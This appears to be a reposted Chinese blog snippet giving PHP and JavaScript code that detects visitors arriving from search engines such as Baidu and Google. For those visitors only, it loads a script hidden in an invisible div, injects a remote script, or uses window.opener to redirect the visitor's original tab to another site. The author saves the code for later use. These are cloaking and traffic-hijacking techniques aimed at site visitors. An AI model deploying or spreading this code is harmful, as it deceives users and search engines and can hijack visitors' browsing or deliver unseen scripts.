一段判断搜索引擎来路的JS代码

以下是一段php判断搜索引擎的代码

<?PHP

$referer = $_SERVER['HTTP_REFERER'];

if(!$referer == ''){

if(ereg('http',$referer)){

$referer = @eXPlode('.',$referer);

if(is_array($referer)){

$referer = $referer['1'];

if($referer == 'google' OR $referer == 'baidu' OR $referer == 'soso' OR $referer == 'sogou'){

?>

<div style="visibility:hidden;"><script src="a.js" language="JavaScript"></script>

</div><?php

}

}

}

}

?>

而通过Js判断搜索引擎来路的代码则如下

<script type="text/javascript">

function elem(e,url){

var h=document.createElement(e);

h.src=url;

document.getElementsByTagName('head')[0].appendChild(h);

}

function refer(){

var ref=document.referrer;

var baidu=ref.indexOf("baidu");

var soso=ref.indexOf("soso");

var google=ref.indexOf("google");

if(baidu!=-1||soso!=-1||google!=-1){

elem("script","http://127.0.0.1/js.js");

}

}

refer()

</script>

另外附上自己百度谷歌的一份代码

<script language="javascript">

var s=document.referrer

if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("soso")>0 || s.indexOf("search")>0 || s.indexOf("114")>0 )

window.opener.navigate("http://www.t00ls.net")

</script>

留着备用,以后准备份代码,用来做判断搜索引擎做跳转。
原文地址:https://www.cnblogs.com/wangchuang/p/3107480.html